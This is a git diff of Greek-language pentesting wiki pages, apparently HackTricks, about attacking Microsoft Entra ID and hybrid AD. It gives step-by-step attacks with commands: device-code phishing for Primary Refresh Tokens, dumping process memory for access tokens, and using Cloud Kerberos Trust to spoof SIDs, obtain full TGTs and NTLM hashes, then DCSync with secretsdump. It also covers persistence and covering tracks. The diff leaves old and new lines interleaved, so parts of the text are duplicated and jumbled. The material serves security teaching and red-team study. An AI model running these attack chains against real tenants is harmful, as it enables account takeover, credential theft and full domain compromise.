### **Γιατί αυτό λειτουργεί**
- **PRT** είναι **δεσμευμένο στη συσκευή** και επιτρέπει **SSO για (σχεδόν) οποιαδήποτε εφαρμογή προστατευμένη από Entra**.
- Ο συνδυασμός **Broker client + DRS** επιτρέπει σε ένα phished **refresh token** να **ανταλλαχθεί για ένα PRT** μόλις εγγραφεί μια συσκευή.
- **Η MFA δεν παρακάμπτεται**: ο **χρήστης εκτελεί MFA** κατά τη διάρκεια του phishing; **Οι αξιώσεις MFA προχωρούν** στο προκύπτον PRT, επιτρέποντας στον επιτιθέμενο να έχει πρόσβαση σε εφαρμογές **χωρίς περαιτέρω προτροπές**.
**Προαπαιτούμενα**:
- **Αυθεντικοποίηση χρήστη μέσω Device Code** χρησιμοποιώντας το **Broker client ID** (`29d9ed98-a469-4536-ade2-f981bc1d605e`) και **DRS scopes/resource** (π.χ., **`01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9/.default`** ή **`https://enrollment.manage.microsoft.com/`**).
- **Ο χρήστης μπορεί να εγγράψει συσκευές** στο Entra ID (**προεπιλογή: επιτρέπεται**, αλλά μπορεί να περιοριστεί ή να έχει περιορισμούς).
- **Καμία πολιτική CA που να μπλοκάρει** που **απενεργοποιεί το Device Code** ή **απαιτεί συμβατές/υβριδικές συσκευές** για τις στοχευμένες εφαρμογές (αυτές δεν θα σταματήσουν την έκδοση PRT, αλλά **θα** μπλοκάρουν **τη χρήση** του για πρόσβαση σε προστατευμένες εφαρμογές).
- **Φιλοξενούμενος ελεγχόμενος από τον επιτιθέμενο** για να εκτελέσει τη ροή και να κρατήσει τα tokens/κλειδιά συσκευών.
**Ροή Επίθεσης**:
1. **Εκκινήστε την αυθεντικοποίηση Device Code** με **client_id = Broker** και **DRS scope/resource**; δείξτε τον **κωδικό χρήστη** στο θύμα.
```bash
curl -s -X POST \
"https://login.microsoftonline.com/organizations/oauth2/v2.0/devicecode" \
-d "client_id=29d9ed98-a469-4536-ade2-f981bc1d605e" \
-d "scope=01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9/.default offline_access openid profile"
```
2. **Το θύμα συνδέεται στον ιστότοπο της Microsoft** (νόμιμο UI) και ολοκληρώνει **MFA****ο επιτιθέμενος λαμβάνει ένα DRSscoped refresh token** για τον πελάτη Broker.
3. **Καταχωρίστε μια κακόβουλη συσκευή** στον ενοικιαστή χρησιμοποιώντας αυτό το refresh token (το αντικείμενο της συσκευής δημιουργείται και συνδέεται με το θύμα).
4. **Αναβαθμίστε σε PRT** ανταλλάσσοντας το **refresh token + ταυτότητα/κλειδιά συσκευής****PRT** δεσμευμένο στη συσκευή του επιτιθέμενου.
5. **(Προαιρετική επιμονή)**: αν το MFA ήταν φρέσκο, **καταχωρίστε ένα κλειδί Windows Hello for Business** για να διατηρήσετε **μακροχρόνια, χωρίς κωδικό πρόσβασης πρόσβαση**.
6. **Κατάχρηση**: εξαργυρώστε το **PRT** (ή δημιουργήστε ένα **PRT cookie**) για να αποκτήσετε **tokens πρόσβασης** για **Exchange/Graph/SharePoint/Teams/προσαρμοσμένες εφαρμογές** ως ο χρήστης.
### Δημόσια Εργαλεία και Αποδείξεις-Έννοιες
- [ROADtools/ROADtx](https://github.com/dirkjanm/ROADtools): Αυτοματοποιεί τη ροή OAuth, την καταχώριση συσκευών και τις αναβαθμίσεις tokens.
- [DeviceCode2WinHello](https://github.com/kiwids0220/deviceCode2WinHello): Σενάριο μίας εντολής που αυτοματοποιεί την κωδικοποίηση συσκευής phish-to-PRT+WHfB κλειδιά.
## Αναφορές
- [Η ανάρτηση του Dirkjan σχετικά με το PRT](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/)
- [Η ανάρτηση του Dirkjan σχετικά με την phishing PRTs](https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/)
- [Η ανάρτηση του Dirkjan σχετικά με την κατάχρηση PRTs](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/)
- Ανάρτηση της SpecterOps σχετικά με [Αίτηση Azure AD Request Tokens](https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30)
- [Ανάρτηση AADInternals σχετικά με PRTs](https://aadinternals.com/post/prt/)
- [blog.3or.de](https://blog.3or.de/understanding-primary-refresh-tokens-and-cve-2021-33779-how-pass-the-prt-was-eliminated#:~:text=,the%20Token%20Broker%20on%20Windows)
{{#include ../../../banners/hacktricks-training.md}}
@@ -4,11 +4,11 @@
## **Βασικές Πληροφορίες**
Όπως εξηγείται σε [**αυτό το βίντεο**](https://www.youtube.com/watch?v=OHKZkXC4Duw), ορισμένα λογισμικά της Microsoft που συγχρονίζονται με το cloud (Excel, Teams...) μπορεί να **αποθηκεύουν access tokens σε καθαρό κείμενο στη μνήμη**. Έτσι, απλά **dumping** τη **μνήμη** της διαδικασίας και **grepping για JWT tokens** μπορεί να σας δώσει πρόσβαση σε αρκετούς πόρους του θύματος στο cloud παρακάμπτοντας το MFA.
Όπως εξηγείται σε [**αυτό το βίντεο**](https://www.youtube.com/watch?v=OHKZkXC4Duw), κάποιο λογισμικό της Microsoft που συγχρονίζεται με το cloud (Excel, Teams...) μπορεί να **αποθηκεύει τα access tokens σε καθαρό κείμενο στη μνήμη**. Έτσι, απλά **dumping** τη **μνήμη** της διαδικασίας και **grep για JWT tokens** μπορεί να σας δώσει πρόσβαση σε αρκετούς πόρους του θύματος στο cloud παρακάμπτοντας το MFA.
Βήματα:
1. Dump τις διαδικασίες excel που συγχρονίζονται με τον χρήστη EntraID με το αγαπημένο σας εργαλείο.
1. Dump τις διαδικασίες του excel που συγχρονίζονται με τον χρήστη EntraID με το αγαπημένο σας εργαλείο.
2. Εκτελέστε: `string excel.dmp | grep 'eyJ0'` και βρείτε αρκετά tokens στην έξοδο
3. Βρείτε τα tokens που σας ενδιαφέρουν περισσότερο και εκτελέστε εργαλεία πάνω τους:
```bash
@@ -27,8 +27,7 @@ curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/site
curl -s -H "Authorization: Bearer <token>" 'https://graph.microsoft.com/v1.0/sites/<site_id>/drives/<drive_id>' | jq
## Finally, download a file from that drive:
┌──(magichk㉿black-pearl)-[~]
└─$ curl -o <filename_output> -L -H "Authorization: Bearer <token>" '<@microsoft.graph.downloadUrl>'
curl -o <filename_output> -L -H "Authorization: Bearer <token>" '<@microsoft.graph.downloadUrl>'
```
**Σημειώστε ότι αυτού του είδους τα access tokens μπορούν επίσης να βρεθούν μέσα σε άλλες διεργασίες.**
@@ -2,48 +2,74 @@
{{#include ../../../../banners/hacktricks-training.md}}
**Αυτή η ανάρτηση είναι μια σύνοψη του** [**https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/**](https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/) **που μπορεί να ελεγχθεί για περισσότερες πληροφορίες σχετικά με την επίθεση. Αυτή η τεχνική σχολιάζεται επίσης στο** [**https://www.youtube.com/watch?v=AFay_58QubY**](https://www.youtube.com/watch?v=AFay_58QubY)**.**
**Αυτή η ανάρτηση είναι μια περίληψη του** [**https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/**](https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/) **που μπορεί να ελεγχθεί για περισσότερες πληροφορίες σχετικά με την επίθεση. Αυτή η τεχνική σχολιάζεται επίσης στο** [**https://www.youtube.com/watch?v=AFay_58QubY**](https://www.youtube.com/watch?v=AFay_58QubY)**.**
## Basic Information
## Kerberos Trust Relationship Overview
### Trust
**Cloud Kerberos Trust (Entra ID -> AD)** -- Αυτή η δυνατότητα (μέρος του Windows Hello for Business) δημιουργεί μια μονομερή εμπιστοσύνη όπου το on-prem AD **εμπιστεύεται το Entra ID** να εκδίδει Kerberos tickets για το AD. Η ενεργοποίησή της δημιουργεί ένα αντικείμενο υπολογιστή **AzureADKerberos$** στο AD (εμφανίζεται ως Read-Only Domain Controller) και έναν συνδεδεμένο λογαριασμό **`krbtgt_AzureAD`** (δευτερεύων KRBTGT). Το Entra ID κατέχει τα κλειδιά για αυτούς τους λογαριασμούς και μπορεί να εκδώσει "μερικά" Kerberos TGTs για χρήστες του AD. Οι domain controllers του AD θα τιμήσουν αυτά τα εισιτήρια, αλλά με περιορισμούς παρόμοιους με τους RODC: από προεπιλογή, **οι ομάδες υψηλών προνομίων (Domain Admins, Enterprise Admins, κ.λπ.) είναι *αρνημένες*** και οι κανονικοί χρήστες επιτρέπονται. Αυτό αποτρέπει το Entra ID από το να πιστοποιεί τους domain admins μέσω της εμπιστοσύνης υπό κανονικές συνθήκες. Ωστόσο, όπως θα δούμε, ένας επιτιθέμενος με επαρκή προνόμια στο Entra ID μπορεί να εκμεταλλευτεί αυτό το σχέδιο εμπιστοσύνης.
Όταν καθοριστεί μια εμπιστοσύνη με το Azure AD, δημιουργείται ένας **Read Only Domain Controller (RODC) στο AD.** Ο **λογαριασμός υπολογιστή RODC**, ονομάζεται **`AzureADKerberos$`**. Επίσης, υπάρχει ένας δευτερεύων λογαριασμός `krbtgt` που ονομάζεται **`krbtgt_AzureAD`**. Αυτός ο λογαριασμός περιέχει τα **Kerberos keys** που χρησιμοποιούνται για τα εισιτήρια που δημιουργεί το Azure AD.
## Pivoting from Entra ID to On-Prem AD
Επομένως, αν αυτός ο λογαριασμός παραβιαστεί, θα μπορούσε να είναι δυνατό να προσποιηθεί κάποιος οποιονδήποτε χρήστη... αν και αυτό δεν είναι αληθές γιατί αυτός ο λογαριασμός εμποδίζεται να δημιουργεί εισιτήρια για οποιαδήποτε κοινή προνομιούχα ομάδα AD όπως οι Domain Admins, Enterprise Admins, Administrators...
**Σενάριο:** Ο στόχος οργανισμός έχει **Cloud Kerberos Trust** ενεργοποιημένο για passwordless authentication. Ένας επιτιθέμενος έχει αποκτήσει **Global Administrator** προνόμια στο Entra ID (Azure AD) αλλά **δεν** ελέγχει ακόμη το on-prem AD. Ο επιτιθέμενος έχει επίσης πρόσβαση σε έναν Domain Controller (μέσω VPN ή ενός Azure VM σε υβριδικό δίκτυο). Χρησιμοποιώντας την εμπιστοσύνη του cloud, ο επιτιθέμενος μπορεί να εκμεταλλευτεί τον έλεγχο του Azure AD για να αποκτήσει μια **Domain Admin**--επίπεδο πρόσβαση στο AD.
> [!CAUTION]
> Ωστόσο, σε ένα πραγματικό σενάριο θα υπάρχουν προνομιούχοι χρήστες που δεν είναι σε αυτές τις ομάδες. Έτσι, ο **νέος λογαριασμός krbtgt, αν παραβιαστεί, θα μπορούσε να χρησιμοποιηθεί για να τους προσποιηθεί.**
**Προαπαιτούμενα:**
### Kerberos TGT
- **Cloud Kerberos Trust** είναι ρυθμισμένο στο υβριδικό περιβάλλον (ένδειξη: υπάρχει ένας λογαριασμός `AzureADKerberos$` RODC στο AD).
Επιπλέον, όταν ένας χρήστης αυθεντικοποιείται στα Windows χρησιμοποιώντας μια υβριδική ταυτότητα, το **Azure AD** θα εκδώσει **μερικό Kerberos ticket μαζί με το PRT.** Το TGT είναι μερικό γιατί το **AzureAD έχει περιορισμένες πληροφορίες** για τον χρήστη στο on-prem AD (όπως το security identifier (SID) και το όνομα).\
Τα Windows μπορούν στη συνέχεια να **ανταλλάξουν αυτό το μερικό TGT για ένα πλήρες TGT** ζητώντας ένα service ticket για την υπηρεσία `krbtgt`.
- Ο επιτιθέμενος έχει **Global Admin (ή Hybrid Identity Admin)** δικαιώματα στον Entra ID tenant (αυτοί οι ρόλοι μπορούν να χρησιμοποιήσουν το AD Connect **synchronization API** για να τροποποιήσουν τους χρήστες του Azure AD).
### NTLM
- Τουλάχιστον ένας **υβριδικός λογαριασμός χρήστη** (υπάρχει και στα AD και AAD) που ο επιτιθέμενος μπορεί να πιστοποιήσει ως. Αυτό μπορεί να αποκτηθεί γνωρίζοντας ή επαναφέροντας τα διαπιστευτήριά του ή αναθέτοντας μια μέθοδο χωρίς κωδικό (π.χ. ένα Temporary Access Pass) για να δημιουργήσει ένα Primary Refresh Token (PRT) γι' αυτόν.
Καθώς μπορεί να υπάρχουν υπηρεσίες που δεν υποστηρίζουν την αυθεντικοποίηση kerberos αλλά NTLM, είναι δυνατό να ζητηθεί ένα **μερικό TGT υπογεγραμμένο χρησιμοποιώντας ένα δευτερεύον `krbtgt`** κλειδί περιλαμβάνοντας το **`KERB-KEY-LIST-REQ`** πεδίο στο **PADATA** μέρος του αιτήματος και στη συνέχεια να αποκτηθεί ένα πλήρες TGT υπογεγραμμένο με το κύριο `krbtgt` κλειδί **συμπεριλαμβάνοντας το NT hash στην απάντηση**.
- Ένας **στοχευμένος λογαριασμός on-prem AD** με υψηλά προνόμια που *δεν* είναι στην προεπιλεγμένη πολιτική "deny" του RODC. Στην πράξη, ένας εξαιρετικός στόχος είναι ο **AD Connect sync account** (συχνά ονομάζεται **MSOL_***), ο οποίος έχει δικαιώματα DCSync (αναπαραγωγής) στο AD αλλά συνήθως δεν είναι μέλος των ενσωματωμένων ομάδων διαχειριστών. Αυτός ο λογαριασμός συνήθως δεν συγχρονίζεται με το Entra ID, καθιστώντας το SID του διαθέσιμο για προσποίηση χωρίς σύγκρουση.
## Abusing Cloud Kerberos Trust to obtain Domain Admin <a href="#abusing-cloud-kerberos-trust-to-obtain-domain-admin" id="abusing-cloud-kerberos-trust-to-obtain-domain-admin"></a>
**Βήματα Επίθεσης:**
Όταν το AzureAD δημιουργεί ένα **μερικό TGT**, θα χρησιμοποιεί τις λεπτομέρειες που έχει για τον χρήστη. Επομένως, αν ένας Global Admin μπορούσε να τροποποιήσει δεδομένα όπως το **security identifier και το όνομα του χρήστη στο AzureAD**, όταν ζητήσει ένα TGT για αυτόν τον χρήστη, το **security identifier θα ήταν διαφορετικό**.
1. **Απόκτηση πρόσβασης στο Azure AD sync API:** Χρησιμοποιώντας τον λογαριασμό Global Admin, αποκτήστε ένα access token για το Azure AD **Provisioning (sync) API**. Αυτό μπορεί να γίνει με εργαλεία όπως **ROADtools** ή **AADInternals**. Για παράδειγμα, με το ROADtools (roadtx):
```bash
# Using roadtx to get an Azure AD Graph token (no MFA)
roadtx gettokens -u <GlobalAdminUPN> -p <Password> --resource aadgraph
```
*(Εναλλακτικά, το `Connect-AADInt` του AADInternals μπορεί να χρησιμοποιηθεί για να αυθεντικοποιηθεί ως Global Admin.)*
Δεν είναι δυνατό να γίνει αυτό μέσω του Microsoft Graph ή του Azure AD Graph, αλλά είναι δυνατό να χρησιμοποιηθεί το **API που χρησιμοποιεί το Active Directory Connect** για να δημιουργήσει και να ενημερώσει συγχρονισμένους χρήστες, το οποίο μπορεί να χρησιμοποιηθεί από τους Global Admins για να **τροποποιήσουν το SAM name και το SID οποιουδήποτε υβριδικού χρήστη**, και στη συνέχεια αν αυθεντικοποιηθούμε, αποκτούμε ένα μερικό TGT που περιέχει το τροποποιημένο SID.
2. **Τροποποιήστε τα On-Prem Attributes ενός Υβριδικού Χρήστη:** Εκμεταλλευτείτε το Azure AD **synchronization API** για να ορίσετε τον επιλεγμένο υβριδικό χρήστη's **onPremises Security Identifier (SID)** και **onPremises SAMAccountName** ώστε να ταιριάζουν με τον στοχοθετημένο λογαριασμό AD. Αυτό ουσιαστικά λέει στο Azure AD ότι ο χρήστης του cloud αντιστοιχεί στον on-prem λογαριασμό που θέλουμε να προσποιηθούμε. Χρησιμοποιώντας το ανοιχτού κώδικα **ROADtools Hybrid** toolkit:
```bash
# Example: modify a hybrid user to impersonate the MSOL account
python3 modifyuser.py -u <GlobalAdminUPN> -p <Password>\
--sourceanchor <ImmutableID_of_User>\
--sid <TargetAD_SID> --sam <TargetAD_SAMName>
```
> Η `sourceAnchor` (αμετάβλητο ID) του χρήστη είναι απαραίτητη για να προσδιορίσει το αντικείμενο Azure AD που θα τροποποιηθεί. Το εργαλείο ρυθμίζει το SID και το όνομα λογαριασμού SAM του υβριδικού χρήστη σε τιμές του στόχου (π.χ., το SID και το SAM του λογαριασμού MSOL_xxxx). Η Azure AD κανονικά δεν επιτρέπει την τροποποίηση αυτών των χαρακτηριστικών μέσω του Graph (είναι μόνο για ανάγνωση), αλλά η API της υπηρεσίας συγχρονισμού το επιτρέπει και οι Παγκόσμιοι Διαχειριστές μπορούν να ενεργοποιήσουν αυτή τη λειτουργία συγχρονισμού.
Σημειώστε ότι μπορούμε να το κάνουμε αυτό με το AADInternals και να ενημερώσουμε τους συγχρονισμένους χρήστες μέσω του [Set-AADIntAzureADObject](https://aadinternals.com/aadinternals/#set-aadintazureadobject-a) cmdlet.
3. **Αποκτήστε ένα Μερικό TGT από την Azure AD:** Μετά την τροποποίηση, αυθεντικοποιηθείτε ως ο υβριδικός χρήστης στην Azure AD (για παράδειγμα, αποκτώντας ένα PRT σε μια συσκευή ή χρησιμοποιώντας τα διαπιστευτήριά τους). Όταν ο χρήστης συνδεθεί (ιδιαίτερα σε μια συσκευή Windows που είναι συνδεδεμένη σε τομέα ή σε Entra), η Azure AD θα εκδώσει ένα **μερικό Kerberos TGT (TGT**<sub>**AD**</sub>) για αυτόν τον λογαριασμό επειδή η Cloud Kerberos Trust είναι ενεργοποιημένη. Αυτό το μερικό TGT είναι κρυπτογραφημένο με το κλειδί AzureADKerberos$ RODC και περιλαμβάνει το **στόχο SID** που ρυθμίσαμε. Μπορούμε να το προσομοιώσουμε ζητώντας ένα PRT για τον χρήστη μέσω ROADtools:
```bash
roadtx getprt -u <HybridUserUPN> -p <Password> -d <DeviceID_or_Cert>
```
Αυτό εξάγει ένα αρχείο `.prt` που περιέχει το μερικό TGT και το κλειδί συνεδρίας. Εάν ο λογαριασμός ήταν μόνο cloud password, το Azure AD περιλαμβάνει ακόμα ένα TGT_AD στην απόκριση PRT.
### Attack prerequisites <a href="#attack-prerequisites" id="attack-prerequisites"></a>
4. **Ανταλλαγή Μερικού TGT για Πλήρες TGT (σε AD):** Το μερικό TGT μπορεί τώρα να παρουσιαστεί στον τοπικό Domain Controller για να αποκτήσει ένα **πλήρες TGT** για τον στοχοθετημένο λογαριασμό. Το κάνουμε αυτό εκτελώντας ένα αίτημα TGS για την υπηρεσία `krbtgt` (την κύρια υπηρεσία TGT του τομέα) -- ουσιαστικά αναβαθμίζοντας το εισιτήριο σε κανονικό TGT με πλήρες PAC. Διατίθενται εργαλεία για την αυτοματοποίηση αυτής της ανταλλαγής. Για παράδειγμα, χρησιμοποιώντας το σενάριο του ROADtools Hybrid:
```bash
# Use the partial TGT from the PRT file to get a full TGT and NTLM hash
python3 partialtofulltgt.py -p roadtx.prt -o full_tgt.ccache --extract-hash
```
Αυτό το σενάριο (ή τα ισοδύναμα του Impacket) θα επικοινωνήσει με τον Domain Controller και θα ανακτήσει ένα έγκυρο TGT για τον στοχοθετημένο λογαριασμό AD, συμπεριλαμβανομένου του NTLM hash του λογαριασμού εάν χρησιμοποιηθεί η ειδική επέκταση Kerberos. Η **`KERB-KEY-LIST-REQ`** επέκταση περιλαμβάνεται αυτόματα για να ζητήσει από τον DC να επιστρέψει το NTLM hash του στοχοθετημένου λογαριασμού στην κρυπτογραφημένη απάντηση. Το αποτέλεσμα είναι μια κρυφή μνήμη διαπιστευτηρίων (`full_tgt.ccache`) για τον στοχοθετημένο λογαριασμό *ή* το ανακτηθέν NTLM password hash.
Η επιτυχία της επίθεσης και η απόκτηση προνομίων Domain Admin εξαρτώνται από την εκπλήρωση ορισμένων προϋποθέσεων:
5. **Αυτομίμηση Στόχου και Ανύψωση σε Domain Admin:** Τώρα ο επιτιθέμενος ελέγχει αποτελεσματικά **τον στοχοθετημένο λογαριασμό AD**. Για παράδειγμα, εάν ο στόχος ήταν ο λογαριασμός AD Connect **MSOL**, έχει δικαιώματα αναπαραγωγής στον κατάλογο. Ο επιτιθέμενος μπορεί να εκτελέσει μια **DCSync** επίθεση χρησιμοποιώντας τα διαπιστευτήρια αυτού του λογαριασμού ή το Kerberos TGT για να εξάγει τα password hashes από το AD (συμπεριλαμβανομένου του λογαριασμού KRBTGT του τομέα). Για παράδειγμα:
```bash
# Using impacket's secretsdump to DCSync as the MSOL account (using NTLM hash)
secretsdump.py 'AD_DOMAIN/<TargetSAM>$@<DC_IP>' -hashes :<NTLM_hash> LOCAL
```
Αυτό εξάγει όλα τα hashes κωδικών πρόσβασης χρηστών AD, δίνοντας στον επιτιθέμενο το hash KRBTGT (επιτρέποντάς τους να πλαστογραφήσουν τα εισιτήρια Kerberos του τομέα κατά βούληση) και αποτελεσματικά **δικαιώματα Domain Admin** πάνω από το AD. Εάν ο στοχευμένος λογαριασμός ήταν άλλος προνομιούχος χρήστης, ο επιτιθέμενος θα μπορούσε να χρησιμοποιήσει το πλήρες TGT για να αποκτήσει πρόσβαση σε οποιοδήποτε πόρο τομέα ως αυτός ο χρήστης.
- Η ικανότητα να αλλάξει λογαριασμούς μέσω του Synchronization API είναι κρίσιμη. Αυτό μπορεί να επιτευχθεί με την κατοχή του ρόλου του Global Admin ή με την κατοχή ενός λογαριασμού συγχρονισμού AD Connect. Εναλλακτικά, ο ρόλος του Hybrid Identity Administrator θα αρκούσε, καθώς παρέχει τη δυνατότητα διαχείρισης του AD Connect και δημιουργίας νέων λογαριασμών συγχρονισμού.
- Η παρουσία ενός **υβριδικού λογαριασμού** είναι απαραίτητη. Αυτός ο λογαριασμός πρέπει να είναι επιδεκτικός τροποποίησης με τις λεπτομέρειες του λογαριασμού του θύματος και θα πρέπει επίσης να είναι προσβάσιμος για αυθεντικοποίηση.
- Η αναγνώριση ενός **στόχου λογαριασμού θύματος** εντός του Active Directory είναι απαραίτητη. Αν και η επίθεση μπορεί να εκτελεστεί σε οποιονδήποτε λογαριασμό έχει ήδη συγχρονιστεί, ο Azure AD tenant δεν πρέπει να έχει αναπαραχθεί τα on-premises security identifiers, απαιτώντας την τροποποίηση ενός μη συγχρονισμένου λογαριασμού για την απόκτηση του εισιτηρίου.
- Επιπλέον, αυτός ο λογαριασμός θα πρέπει να έχει προνόμια ισοδύναμα με αυτά του domain admin αλλά δεν πρέπει να είναι μέλος τυπικών ομάδων διαχειριστών AD για να αποφευχθεί η δημιουργία μη έγκυρων TGT από τον AzureAD RODC.
- Ο πιο κατάλληλος στόχος είναι ο **λογαριασμός Active Directory που χρησιμοποιείται από την υπηρεσία AD Connect Sync**. Αυτός ο λογαριασμός δεν συγχρονίζεται με το Azure AD, αφήνοντας το SID του ως βιώσιμο στόχο, και κατέχει εγγενώς προνόμια ισοδύναμα με αυτά του Domain Admin λόγω του ρόλου του στη συγχρονισμένη κωδικοποίηση κωδικών πρόσβασης (υποθέτοντας ότι το Password Hash Sync είναι ενεργό). Για τομείς με άμεση εγκατάσταση, αυτός ο λογαριασμός προσαρτάται με **MSOL\_**. Για άλλες περιπτώσεις, ο λογαριασμός μπορεί να εντοπιστεί με την καταμέτρηση όλων των λογαριασμών που έχουν δικαιώματα Directory Replication στο αντικείμενο τομέα.
6. **Καθαρισμός:** Προαιρετικά, ο επιτιθέμενος μπορεί να αποκαταστήσει το αρχικό `onPremisesSAMAccountName` και SID του τροποποιημένου χρήστη Azure AD μέσω της ίδιας API ή απλά να διαγράψει οποιονδήποτε προσωρινό χρήστη δημιουργήθηκε. Σε πολλές περιπτώσεις, ο επόμενος κύκλος συγχρονισμού Azure AD Connect θα αναιρέσει αυτόματα τις μη εξουσιοδοτημένες αλλαγές σε συγχρονισμένα χαρακτηριστικά. (Ωστόσο, μέχρι αυτό το σημείο η ζημιά έχει γίνει -- ο επιτιθέμενος έχει δικαιώματα DA.)
> [!WARNING]
> Εκμεταλλευόμενος την εμπιστοσύνη του cloud και τον μηχανισμό συγχρονισμού, ένας Global Admin του Azure AD μπορεί να προσποιηθεί σχεδόν *οποιονδήποτε* λογαριασμό AD που δεν προστατεύεται ρητά από την πολιτική RODC, ακόμη και αν αυτός ο λογαριασμός δεν έχει ποτέ συγχρονιστεί με το cloud. Σε μια προεπιλεγμένη διαμόρφωση, αυτό **δημιουργεί μια πλήρη εμπιστοσύνη από την παραβίαση του Azure AD στην παραβίαση του on-prem AD**.
## Αναφορές
- [Obtaining Domain Admin from Azure AD via Cloud Kerberos Trust](https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/)
### The full attack <a href="#the-full-attack" id="the-full-attack"></a>
Δείτε το στην αρχική ανάρτηση: [https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/](https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/)
{{#include ../../../../banners/hacktricks-training.md}}
@@ -1,9 +0,0 @@
# Az - Default Applications
{{#include ../../../../banners/hacktricks-training.md}}
**Ελέγξτε την τεχνική στο:** [**https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/**](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)**,** [**https://www.youtube.com/watch?v=JEIR5oGCwdg**](https://www.youtube.com/watch?v=JEIR5oGCwdg) και [**https://www.youtube.com/watch?v=xei8lAPitX8**](https://www.youtube.com/watch?v=xei8lAPitX8)
Η ανάρτηση του blog συζητά μια ευπάθεια ανύψωσης προνομίων στο Azure AD, επιτρέποντας στους Διαχειριστές Εφαρμογών ή στους συμβιβασμένους Λογαριασμούς Συγχρονισμού On-Premise να ανυψώσουν τα προνόμια τους αναθέτοντας διαπιστευτήρια σε εφαρμογές. Η ευπάθεια, που προέρχεται από τη συμπεριφορά "κατά σχεδίαση" της διαχείρισης εφαρμογών και υπηρεσιακών πριγκίπων του Azure AD, επηρεάζει ιδιαίτερα τις προεπιλεγμένες εφαρμογές του Office 365. Αν και έχει αναφερθεί, το ζήτημα δεν θεωρείται ευπάθεια από τη Microsoft λόγω της τεκμηρίωσης της συμπεριφοράς ανάθεσης δικαιωμάτων διαχειριστή. Η ανάρτηση παρέχει λεπτομερείς τεχνικές πληροφορίες και συμβουλεύει τακτικές αναθεωρήσεις των διαπιστευτηρίων υπηρεσιακών πριγκίπων σε περιβάλλοντα Azure AD. Για περισσότερες λεπτομέρειες, μπορείτε να επισκεφθείτε την αρχική ανάρτηση του blog.
{{#include ../../../../banners/hacktricks-training.md}}
@@ -4,15 +4,16 @@
## Basic Information
[Από τα έγγραφα:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-fed)**Η Ομοσπονδία** είναι μια συλλογή **τομέων** που έχουν καθορίσει ** εμπιστοσύνη**. Το επίπεδο εμπιστοσύνης μπορεί να διαφέρει, αλλά συνήθως περιλαμβάνει **αυθεντικοποίηση** και σχεδόν πάντα περιλαμβάνει **εξουσιοδότηση**. Μια τυπική ομοσπονδία μπορεί να περιλαμβάνει **πολλές οργανώσεις** που έχουν καθορίσει **εμπιστοσύνη** για **κοινή πρόσβαση** σε ένα σύνολο πόρων.
[Από τα έγγραφα:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-fed)
Μπορείτε να **ομοσπονδιοποιήσετε το τοπικό** περιβάλλον σας **με το Azure AD** και να χρησιμοποιήσετε αυτή την ομοσπονδία για αυθεντικοποίηση και εξουσιοδότηση. Αυτή η μέθοδος σύνδεσης διασφαλίζει ότι όλη η **αυθεντικοποίηση χρηστών πραγματοποιείται τοπικά**. Αυτή η μέθοδος επιτρέπει στους διαχειριστές να εφαρμόσουν πιο αυστηρούς ελέγχους πρόσβασης. Η ομοσπονδία με **AD FS** και PingFederate είναι διαθέσιμη.
>**Ομοσπονδία** είναι μια συλλογή **τομέων** που έχουν καθορίσει ** εμπιστοσύνη**. Το επίπεδο εμπιστοσύνης μπορεί να διαφέρει, αλλά συνήθως περιλαμβάνει **αυθεντικοποίηση** και σχεδόν πάντα περιλαμβάνει **εξουσιοδότηση**. Μια τυπική ομοσπονδία μπορεί να περιλαμβάνει **πολλές οργανώσεις** που έχουν καθορίσει **εμπιστοσύνη** για **κοινή πρόσβαση** σε ένα σύνολο πόρων.
>Μπορείτε να **ομοσπονδιοποιήσετε το τοπικό σας** περιβάλλον **με το Azure AD** και να χρησιμοποιήσετε αυτή την ομοσπονδία για αυθεντικοποίηση και εξουσιοδότηση. Αυτή η μέθοδος σύνδεσης διασφαλίζει ότι όλη η **αυθεντικοποίηση χρηστών πραγματοποιείται τοπικά**. Αυτή η μέθοδος επιτρέπει στους διαχειριστές να εφαρμόσουν πιο αυστηρούς ελέγχους πρόσβασης. Η ομοσπονδία με **AD FS** και PingFederate είναι διαθέσιμη.
<figure><img src="../../../../images/image (154).png" alt=""><figcaption></figcaption></figure>
Βασικά, στην Ομοσπονδία, όλη η **αυθεντικοποίηση** πραγματοποιείται στο **τοπικό** περιβάλλον και οι χρήστες απολαμβάνουν SSO σε όλα τα αξιόπιστα περιβάλλοντα. Επομένως, οι χρήστες μπορούν να **πρόσβαση** σε **εφαρμογές** του **cloud** χρησιμοποιώντας τα **τοπικά διαπιστευτήρια** τους.
Βασικά, στην Ομοσπονδία, όλη η **αυθεντικοποίηση** πραγματοποιείται στο **τοπικό** περιβάλλον και οι χρήστες απολαμβάνουν SSO σε όλα τα αξιόπιστα περιβάλλοντα. Επομένως, οι χρήστες μπορούν να **πρόσβαση** σε **cloud** εφαρμογές χρησιμοποιώντας τα **τοπικά τους διαπιστευτήρια**.
**Γλώσσα Σημείωσης Ασφάλειας (SAML)** χρησιμοποιείται για **ανταλλαγή** όλων των πληροφοριών αυθεντικοποίησης και εξουσιοδότησης μεταξύ των παρόχων.
**Γλώσσα Σημειώσεων Ασφαλείας (SAML)** χρησιμοποιείται για **ανταλλαγή** όλων των πληροφοριών αυθεντικοποίησης και εξουσιοδότησης μεταξύ των παρόχων.
Σε οποιαδήποτε ρύθμιση ομοσπονδίας υπάρχουν τρία μέρη:
